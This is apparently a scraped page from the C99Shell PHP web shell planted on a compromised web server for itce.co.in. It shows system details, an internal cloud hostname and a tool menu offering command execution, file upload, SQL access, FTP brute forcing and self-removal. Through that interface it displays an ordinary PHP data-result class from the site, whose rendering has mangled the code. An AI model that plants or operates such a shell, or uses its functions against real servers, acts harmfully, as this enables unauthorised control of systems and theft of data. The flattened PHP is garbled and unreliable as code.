!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/classes/datasource/   drwxr-xr-x
Free 30.72 GB of 49.93 GB (61.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     arrayresult.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once( getabspath("classes/datasource/dataresult.php") );
/**
 * A wrapper of the Connection class methods
 * basing on an SQL querty result hanle
 */
class ArrayResult extends DataResult
{
    
/**
     * array of associative arrays, data in JSON-like format:
     * [
     *     { field1: value, field2: value},
     *     { field1: value, field2: value},
     * ]
     */
    
protected $source;

    protected 
$dummy null;

    
/**
     * Current record index
     */
    
protected $recIdx 0;
    
    function 
__construct$source )
    {
        
parent::__construct();
        
$this->source =& $source;
        
$this->fillColumnNames();
    }
    
    public function 
fetchAssoc()
    {
        
$this->prepareRecord();
        ++
$this->recIdx;
        return 
$this->data;

    }
    
    protected function 
prepareRecord() 
    {
        if( 
$this->recIdx count$this->source ) ) {
            
$this->data = &$this->source$this->recIdx ];
            return 
true;
        } else {
            
$this->data = &$this->dummy;
            return 
false;
        }
    }
    
    public function 
fetchNumeric()
    {
        
$this->prepareRecord();
        ++
$this->recIdx;
        return 
$this->assocToNumeric$this->data );
    }

    public function 
numFields()
    {
        return 
count$this->fieldNames );
    }
    
    public function 
fieldName$offset )
    {
        return 
$this->fieldNames$offset ];
    }
    
    public function 
seekRecord$n )
    {
        
$this->recIdx $n; ;
    }
    
    public function 
eof() 
    {
        
$this->prepareRecord();
        return !
$this->data;
    }
    
    
    protected function 
fillColumnNames()
    {
        if( 
$this->fieldNames )
            return;
        if( !
$this->source )
            return;
        
$names array_keys$this->source[0] );
        foreach( 
$names as $i => $fname )
        {
            
$this->fieldNames[] = $fname;
            
$this->fieldMap$fname ] = $i;
            
$this->upperMapstrtoupper$fname ) ] = $i;
        }
    }

    public function 
next()
    {
        ++
$this->recIdx;
    }

    public function 
getData()
    {
        if( !
$this->prepareRecord() )
            return 
null;
        return 
$this->data;
    }

    public function 
getNumData()
    {
        if( !
$this->prepareRecord() )
            return 
null;
        return 
$this->assocToNumeric$this->data );
    }

    public function 
count() {
        return 
count$this->source );
    }

    public function 
reorder$callback ) {
        
usort$this->source$callback );
        
$this->recIdx 0;
    }


}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--